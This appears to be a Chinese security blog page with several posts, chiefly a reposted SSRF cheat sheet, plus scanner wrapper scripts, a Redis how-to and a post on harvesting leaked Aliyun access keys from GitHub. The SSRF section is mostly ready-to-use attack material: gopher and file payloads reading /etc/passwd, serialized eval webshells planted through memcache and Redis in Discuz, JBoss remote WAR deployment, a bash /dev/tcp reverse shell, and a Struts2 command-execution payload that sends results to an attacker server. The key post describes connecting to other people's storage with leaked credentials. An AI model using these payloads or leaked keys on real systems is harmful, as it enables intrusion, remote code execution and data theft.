def get_proxy_sites():
    wm = WorkManager(20)
    proxysites = []
    proxysites.extend(get_ip181_proxies())
    proxysites.extend(get_kuaidaili_proxies())
    proxysites.extend(get_66ip_proxies())

    for element in proxysites:
        wm.add_job(check_proxies,str(element[0]),str(element[1]))
    wm.start()
    wm.wait_for_complete()


if __name__ == '__main__':
    try:
        get_proxy_sites()
    except Exception as exc:
        print(exc)

SSRF Tips

发布时间:July 21, 2016 // 分类:运维工作,工作日志,PHP,linux,代码学习,生活琐事,代码审计 // No Comments

SSRF PHP function


 
file_get_contents()
fsockopen()
curl_exec()

URL schema support

SFTP




 
http://0cx.cc/ssrf.php?url=sftp://evil.com:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
SSH-2.0-libssh2_1.4.2

Dict




 
http://0cx.cc/ssrf.php?dict://attacker:11111/

evil.com:$ nc -v -l 11111
Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
CLIENT libcurl 7.40.0

gopher











 
// http://0cx.cc/ssrf.php?url=http://evil.com/gopher.php
<?php
        header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
?>

evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
HI
Multiline
test

TFTP





 
http://0cx.cc/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

evil.com:# nc -v -u -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
TESTUDPPACKEToctettsize0blksize512timeout6

file

 
http://0cx.cc/redirect.php?url=file:///etc/passwd

ldap

 
http://0cx.cc/redirect.php?url=ldap://localhost:11211/%0astats%0aquit

PHP-FPM

PHP-FPM universal SSRF bypass safe_mode/disabled_functions/o exploit

SSRF memcache Getshell

Generate serialize



 
<?php
    $code=array('global_start'=>'@eval($_REQUEST[\'eval\']);');
    echo serialize($code)."\n".strlen(serialize($code));

Output


 
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化数据
59  //字符串长度

webshell.php




 
<?php
//gopher可以换成如上其它方式
    header('Location: gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');
?>

back.php




 
<?php
    header('Location: gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a');
?>

example Discuz

open the website



 
http://bbs.0cx.cc/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myvps/webshell.php?logo.jpg[/img]
http://bbs.0cx.cc/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

clear data


 
http://bbs.0cx.cc/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/back.php?logo.jpg[/img]

backdoor url


 
http://bbs.0cx.cc/data/cache/hello.php

SSRF Redis Getshell

Generate serialize








 
<?php
    $a['output']['preg']['search']['plugins'] = '/.*/e';
    $a['output']['preg']['replace']['plugins'] = '@eval($_POST['c']);';
    $a['rewritestatus']=1;
    $setting = serialize($a);
    echo $setting."\n".strlen($setting);
?>

Output



 
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:19:"@eval($_POST["c"]);";}}}s:13:"rewritestatus";i:1;}     //序列化数据
173     //字符串长度

example Discuz

Open website


 
http://192.168.80.116/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://you-vps-ip/ssrf.php?.jpg[/img]&formhash=818c8f44

Backdoor website


 
http://192.168.80.116/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

FFmpeg

cat test.jpg






 
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://example.org/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST

subfile






 
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwdconcat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd
#EXT-X-ENDLIST

PostgreSQL

Exploit



 
> SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\nstats\n\​' password=1 port=11211 sslmode=disable','select
version();');

MongoDB

Exploit




 
> db.copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')
> nc -l 8000 | hexdump -C
> db.copyDatabase(“\nstats\nquit”,’test’,’localhost:11211’)

CouchDB

exploit


 
http://localhost:5984/_users/_all_docs










 
HTTP/1.1 200 OK
Server: CouchDB/1.2.0 (Erlang OTP/R15B01)
ETag: "BD1WV12007V05JTG4X6YHIHCA"
Date: Tue, 18 Dec 2012 21:39:59 GMT
Content-Type: text/plain; charset=utf-8
Cache-Control: must-revalidate

{"total_rows":1,"offset":0,"rows":[
{"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb930"}}
]}

Attacker could also send requests from CouchDB server to intranet by using replication function









 
POST http://couchdb:5984/_replicate
Content-Type: application/json
Accept: application/json

{
    "source" : "recipes",
    "target" : "http://ssrf-me:11211/recipes",
}

Jboss

Jbosss POC


 
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war

写入shell




 
http://target.com/ueditor/jsp/getRemoteImage.jsp
POST:
    upfile=http://10.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp%26name=jboss.system%3Aservice%3DMainDeployer%26methodIndex=3%26arg0=http%3A%2F%2F远端地址%2Fhtml5.war%23.jpg



 
http://target.com/ueditor/jsp/getRemoteImage.jsp
POST:
    upfile=http://内网IP:8080/html5/023.jsp%23.jpg

reverse shell


 
bash -i >& /dev/tcp/123.45.67.89/9999 0>&1

Weblogic

gopher.php




 
<?php
   header("Location:gopher://vps-ip:2333/_test");
?>

vuln website




 
https://example.com/uddiexplorer/SearchPublicRegistries.jsp
POST:
    operator=http://vps-ip/gopher.php&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

vps




 
> nc -lvv 2333

Connection from xx.xx.xx.xx port 2333 [tcp/snapp] accepted

Local File Read



 
http://www.xxx.com/redirect.php?url=file:///etc/passwd
http://www.xxx.com/redirect.php?url=file:///C:/Windows/win.ini

Bool SSRF

Struts2-016 POC



 
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
//修改SERVER为你vps地址,返回结果在access.log中查看

SSRF Proxy

SSRF_Proxy

ssrfsocks

from:http://blog.safebuff.com/2016/07/03/SSRF-Tips/

Redis启动多端口,运行多实例

发布时间:July 21, 2016 // 分类:运维工作,linux,windows,转帖文章 // No Comments

使用redis在同一台机器上,启用多个端口,实现多个实例,完成集群的模拟实现。

  • 启动多实例

redis默认启动端口为6379,我们可以使用 --port 来指定多个端口,如下,在linux终端命令:

redis-server &
redis-server --port 6380 &
redis-server --port 6381 &
redis-server --port 6382 &

查看启动的redis实例:

ps -ef | grep redis

QQ截图20150401095044.png

  • 使用实例

使用其中一个redis实例:

root@iZ251fha7aeZ src]# redis-cli -p 6380

127.0.0.1:6380> keys '*'

(empty list or set)

127.0.0.1:6380> set foo hello

OK

127.0.0.1:6380> keys '*'

1) "foo"

127.0.0.1:6380> set foo1 hello

OK

127.0.0.1:6380> keys '*'

1) "foo1"

2) "foo"

127.0.0.1:6380> get foo1

"hello"

127.0.0.1:6380> 

完成了redis多端口,多实例的部署和使用了

  • 关闭实例

redis 的关闭如下:

redis-cli shutdown

指定端口实例

redis-cli -p 6380 shutdown

Arachni 相关

发布时间:June 21, 2016 // 分类:运维工作,开发笔记,工作日志,代码学习,linux,python // 2 Comments

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import os
import re
import sys
import time
import json
import random
import base64
import hashlib
import threading
import subprocess
from gevent.pool import Pool
from urlparse import urlparse
from get_form import auto_fill_form,getform
"""
这里的作用就是把爬虫结果转化为json
检测思路
1.执行命令
arachni --audit-links --audit-forms --http-user-agent="Mozilla/5.0 (X11; Linux i686; U;) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36" \
    http://testphp.vulnweb.com/ --checks=sql_injection,xss,directory_listing,csrf,xpath_injection --report-save-path=/Users/saline/tools/mycode/spider/report/last0.afr

ruby /Users/saline/tool/tools/arachni/bin/../system/arachni-ui-web/bin/arachni --audit-links --audit-forms --audit-jsons --audit-xmls --audit-ui-inputs --scope-exclude-file-extensions=html --scope-exclude-file-extensions=shtml --http-user-agent="iaskspider/2.0(+http://iask.com/help/help_index.html)" --checks=sql_injection,rfi,directory_listing --report-save-path=/Users/saline/tools/mycode/spider/report/demo.aisec.cn_104446e2321d31be6031ec6daad80c47.afr --timeout=8:00:00 http://demo.aisec.cn/demo/

2.把afr利用arachni_reporter转化为json
#arachni_reporter --reporters-list
arachni_reporter /Users/saline/tools/mycode/spider/report/last0.afr --reporter=json:outfile=/Users/saline/tools/mycode/spider/report/last0_result.json

3.从json里面读取相关的结果,再进行二次分析利用
dist = open('/Users/saline/tools/mycode/spider/report/baimao.json').read()
result = json.loads(dist)
for url in result["sitemap"]:
    if int(result["sitemap"][url]) != 404:
        #输出非404的结果,其实还应该执行对比
        #print url
for urls in result["issues"]:
    print urls["vector"]["action"]+"\t"+urls["vector"]["method"]
    print urls["vector"]["inputs"]

参见帮助文档
http://doc.0xa.cc/r/FIdMhkWFYUvhdKOQQFWtBOltIGxlgsqByLSSPqzkXYRULiYZgm:mobile
http://www.cnblogs.com/vamei/archive/2012/09/23/2698014.html
"""
# 需额外安装arachni
# Arachni rpc clint scan class
class Arachni_Console(object):

    def random_useragent(self):
        USER_AGENTS = [
            "Baiduspider+(+http://www.baidu.com/search/spider.htm)",
            "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
            "Googlebot/2.1 (+http://www.googlebot.com/bot.html)",
            "Googlebot/2.1 (+http://www.google.com/bot.html)",
            "Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)",
            "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
            "iaskspider/2.0(+http://iask.com/help/help_index.html)",
            "Sogou web spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
            "Sogou Push Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
            "Mozilla/5.0 (compatible; YodaoBot/1.0;http://www.yodao.com/help/webmaster/spider/;)",
            "msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
            "Sosospider+(+http://help.soso.com/webspider.htm)",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11)  Firefox/1.5.0.11; 360Spider",
            "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/”; )",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0",
            "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
            "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0;  Trident/5.0)",
            "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
            "Mozilla/5.0 (X11; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0",
        ]
        return random.choice(USER_AGENTS)
    #扫描中需要注意的是几个地方。允许自定义,交互性较好
    #1.自定义cookie --http-cookie-string
    #2.带有401认证的 --http-authentication-username=username --http-authentication-password=password
    #3.自定义扫描路径 --scope-extend-paths
    #4.自定义ua --http-user-agent
    #5.线程数量 --http-request-concurrency 默认20
    #默认排除html/shtml这类静态文件,可能会对部分jsp的页面带来影响
    def __init__(self, url, http_agent="", cookies=""):
        self.http_agent = "%s"%(self.random_useragent())
        self.start_time         = str(time.time())
        self.url                = url
        self.report             = "%s_%s" % (urlparse(url).netloc, hashlib.md5(self.start_time).hexdigest())
        self.arachni_client  = '/Users/saline/tool/tools/arachni/bin/arachni'
        self.arachni_reporter  = '/Users/saline/tool/tools/arachni/bin/arachni_reporter'
        self.report_file  =  " --report-save-path=/Users/saline/tools/mycode/spider/report/%s.afr" % self.report
        self.cookies  = cookies
        #self.audit = "--audit-links --audit-forms --audit-cookies"
        self.audit = "--audit-links --audit-forms --audit-jsons --audit-xmls --audit-ui-inputs --scope-exclude-file-extensions=html --scope-exclude-file-extensions=shtml"
        self.h_agent = " --http-user-agent=\"%s\"" % (self.http_agent)
        self.h_cookies = " --http-cookie-string=\"%s\"" % (self.cookies)
        self.checks = " --checks=sql_injection,rfi,directory_listing"
        # self.checks = "--checks=rfi,directory_listing,sql_injection,sql_injection_timing,sql_injection_differential,source_code_disclosure,file_inclusion"
        self.timeout = " --timeout=%s" % "8:00:00"
        self.option = self.audit + self.h_agent + self.checks + self.report_file + self.timeout
        self.is_timeout = False
        self.proc       = None
        self.report_jsfile  = '/Users/saline/tools/mycode/spider/report/%s.json' % self.report
        self.result = None

    # Start to Scan
    def _Scan(self):
        # subprocess command
        arachni_cmd = "%s %s %s"%(self.arachni_client,self.option,self.url)
        #self.timer = threading.Timer(6000 * 10 * 10, self.set_time_out())
        #self.timer.start()
        os.system(arachni_cmd)
        #调用subprocess执行有问题。放弃,由于这只是需要结果。所以无需回显
        #self.proc = subprocess.Popen(self.cmd, shell=False)
        #self.proc = subprocess.Popen(arachni_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        #self.proc.wait()
        #for lines in proc.stdout.readlines():
        #    print(lines)
        #self.timer.cancel()
        #for lines in self.proc.stdout.readlines():

    # timeout function
    def set_time_out(self):
        if self.proc is not None:
            self.is_timeout = True
            self.timer.cancel()
            self.proc.kill()

    def get_report(self):
        # arachni_reporter /tmp/test.afr --report=json:outfile=/tmp/test.json
        try:
            self._Scan()
            self._report()
        except Exception, e:
            pass

        return self.result

    # get result, format is json
    def _report(self):
        self.cmd = [
            self.arachni_reporter,
            "/Users/saline/tools/mycode/spider/report/%s.afr" % self.report,
            '--report=json:outfile=%s' % self.report_jsfile
        ]
        self.proc = subprocess.Popen(self.cmd)
        self.proc.wait()
        #self.result = open(self.report_jsfile).read()
        # del report files
        delcmd = "rm -rf /Users/saline/tools/mycode/spider/report/%s.afr" % self.report
        os.system(delcmd)
        self.result = self.report_jsfile
        #self.result = self.get_json(self.report_jsfile)
        #if len(self.result)>0:
        #    return self.result

        #os.remove(self.report_file)
        #os.remove(self.report_jsfile)
#解析json
def get_json(jsonfile):
    #print int(time.time())
    vul_results = []
    jsonresult = []
    dist = open(jsonfile).read()
    result = json.loads(dist)
    #for url in result["sitemap"]:
    #    if int(result["sitemap"][url]) != 404:
    #        pass
            #print url
    if len(result["issues"])>0:
        for urls in result["issues"]:
            data = ''
            acturl = urls["vector"]["action"]
            #urls.append(str(urls["vector"]["action"]))
            #获取input信息
            for vuln in urls["vector"]["inputs"]:
                if len(auto_fill_form(str(vuln)))>0:
                    value = auto_fill_form(str(vuln))
                    data = data + vuln+'='+value+'&'
                else:
                    value = 'casterjs'
                    data = data + vuln +'='+value+'&'
            #获取到actmethod
            if str(urls["vector"]["method"]).find('get')!=-1:
                actmethod = 'GET'
            elif str(urls["vector"]["method"]).find('post')!=-1:
                actmethod = 'POST'

            if str(actmethod).find('get')!=-1 or str(actmethod).find('GET')!=-1:
                if acturl.find('?') ==-1:
                    acturl = acturl +'?'+data.rstrip('&')
                else:
                    acturl = acturl +'&'+data.rstrip('&')
            if len(data.rstrip('&')) == 0:
                actmethod = 'GET'
            vul_results.append(({"url": acturl,
                "probe": {
                    "payload": data.rstrip('&'),
                    "method": actmethod,
                    "url": acturl,
                    "headers": urls["request"]["headers"],}}))
    if len(result["sitemap"])>0:
        for url in result["sitemap"]:
            if result["sitemap"][url] != 404:
                results = getform(url)
                if result is not None:
                    for lists in results:
                        if lists["probe"]['url'] not in jsonresult:
                            data = base64.b64encode(json.dumps(lists["probe"]))
                            newurl = lists["probe"]['url']
                            jsonresult.append(newurl + ' '+ data)
                            #urls.append(newurl + ' '+ data)

    if vul_results is not None:
        for lists in vul_results:
            if lists["probe"]['url'] not in jsonresult:
                data = base64.b64encode(json.dumps(lists["probe"]))
                newurl = lists["probe"]['url']
                jsonresult.append(newurl + ' '+ data)

    if len(jsonresult)>0:
        return jsonresult

if __name__ == '__main__':
    #domain ="http://0cx.cc/"
    domains = ['http://demo.aisec.cn/demo','http://testphp.vulnweb.com/']
    for domain in domains:
        arachni_console = Arachni_Console(domain, http_agent='')
        try:
            results = get_json(arachni_console.get_report())
            for resu in results:
                print resu
        except Exception as e:
            print(str(e))

 

拾取表单的脚本参考http://0cx.cc/get_form_name.jspx

#!/usr/bin/env python
# -*- encoding: utf-8 -*-

#https://github.com/Arachni/arachni/wiki/REST-server
#https://github.com/Arachni/arachni/wiki/REST-API
'''
开启api
arachni_rest_server 
[开启认证]
(./bin/arachni_rest_server  --address=192.168.87.134 --port=7331  --authentication-username=admin --authentication-password=adminpassword)


1.查看扫描状态
GET /scans

2.提交扫描
POST /scans
json.dumps(xxx.json)
其实需要提供的是url和profiles

3.查看某个id的状态
GET /scans/:id

状态大约有几种[
   a.ready 准备中。但是不曾启动扫描
   b.preparing  准备好了,随时可以启动扫描(即初始化插件)
   c.scanning   扫描中
   d.pausing   扫描被暂停了
   e.paused    扫描已经被停职了
   f.cleanup   扫描已经被中止(即等待插件完成等)
   g.aborted   扫描非正常状态结束
   h.done      扫描结束
]

4.暂停扫描
PUT /scans/:id/pause

5.开始[已暂停的]扫描
PUT /scans/:id/resume

6.提取扫描报告
GET /scans/:id/report
GET /scans/:id/report.json
GET /scans/:id/report.xml
GET /scans/:id/report.yaml
GET /scans/:id/report.html.zip

7.删除扫描
DELETE /scans/:id

'''

import urllib2
import json

class ArachniClient(object):

   with open('./profiles/default.json') as f:
      default_profile = json.load(f)

   def __init__(self, arachni_url = 'http://192.168.87.134:7331'):
      self.arachni_url = arachni_url
      self.options = ArachniClient.default_profile

   def get_http_request(self, api_path):
      return urllib2.urlopen(self.arachni_url + api_path).read()

   def post_api(self, api_path):
      options = json.dumps(self.options)
      request = urllib2.Request(self.arachni_url + api_path, options)
      request.add_header('Content-Type', 'application/json')
      return urllib2.urlopen(request).read()

   def put_request(self, api_path):
      request = urllib2.Request(self.arachni_url + api_path)
      request.get_method = lambda: 'PUT'
      return urllib2.urlopen(request).read()

   def delete_request(self, api_path):
      request = urllib2.Request(self.arachni_url + api_path)
      request.get_method = lambda: 'DELETE'
      return urllib2.urlopen(request).read()
   #获取扫描    
   def get_scans(self):
      return json.loads(self.get_http_request('/scans'))
   #获取扫描状态
   def get_status(self, scan_id):
      return json.loads(self.get_http_request('/scans/' + scan_id))
   #暂停扫描
   def pause_scan(self, scan_id):
      return self.put_request('/scans/' + scan_id + '/pause')
   #重启扫描
   def resume_scan(self, scan_id):
      return self.put_request('/scans/' + scan_id + '/resume')
   #获取扫描结果
   def get_report(self, scan_id, report_format = None):
      if self.get_status(scan_id)['status'] == 'done':

         if report_format == 'html':
            report_format = 'html.zip'

         if report_format in ['json', 'xml', 'yaml', 'html.zip']:
            return self.get_http_request('/scans/' + scan_id + '/report.' + report_format)
         elif report_format == None:
            return self.get_http_request('/scans/' + scan_id + '/report')
         else:
            print 'your requested format is not available.'

      else:
         print 'your requested scan is in progress.'
   #删除扫描
   def delete_scan(self, scan_id):
      return self.delete_request('/scans/' + scan_id)
   #开启扫描
   def start_scan(self):
      if self.options['url']:
         return json.loads(self.post_api('/scans'))
      else:
         print 'Target is not set!'

   def target(self, target_url):
      try:
         urllib2.urlopen(target_url)
         self.options['url'] = target_url
      except urllib2.HTTPError, e:
         print e.code

   def profile(self, profile_path):
      with open(profile_path) as f:
         self.options = json.load(f)

if __name__ == '__main__':
   a = ArachniClient()
   a.profile('./profiles/default.json')
   #'http://testphp.vulnweb.com/','http://23.88.112.156/xvwa/'
   a.target('http://23.88.112.156/xvwa/')
   print a.start_scan()

 

github搜索泄露的新姿势

发布时间:June 14, 2016 // 分类:工作日志,运维工作,代码学习,windows // 2 Comments

最开始的信息是来源于http://www.wooyun.org/bugs/wooyun-2016-0218766。看到其中关于ALIYUN_ACCESS_ID以及ALIYUN_ACCESS_KEY的信息泄露后直接利用oss的工具连接成功了。好奇心重的我顺便搜索了下关于oss的信息

直接在github里面搜索ALIYUN_ACCESS_ID或者ALIYUN_ACCESS_KEY抓到不少的信息

https://github.com/search?q=ALIYUN_ACCESS_ID&ref=searchresults&type=Code&utf8=%E2%9C%93

https://github.com/search?q=ALIYUN_ACCESS_KEY&ref=searchresults&type=Code&utf8=%E2%9C%93

测试了下

https://github.com/xukg/GeiliXinli/blob/6c7762b71514fd1a0ac52f7763f3ab18e0f778d5/app/src/main/java/com/geilizhuanjia/android/framework/utils/ConstantUtil.java

顺利成功的连接上了

还有更多~等待挖掘,比如淘宝储存代码的地方,oschina存放代码的地方= =

然后关于连接工具顺利的找到了两个版本[win+mac]

ossclient_mac.zip  ossclient_win.zip

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...